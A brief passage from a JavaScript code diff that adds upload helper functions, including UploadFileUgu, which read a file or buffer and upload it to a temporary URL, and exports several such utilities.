+ const buf = Buffer.isBuffer(input) ? input : fs.readFileSync(input);
157
+ return uploadTempUrl(buf, typeof input === 'string' ? input : 'bin');
158
+ }
159
+
160
+ async function UploadFileUgu(input) {
161
+ const buf = Buffer.isBuffer(input) ? input : fs.readFileSync(input);
162
+ return uploadTempUrl(buf, typeof input === 'string' ? input : 'bin');
163
+ }
164
+
165
+ export { uploadToUrl, uploadTempUrl, webp2mp4File, TelegraPh, UploadFileUgu };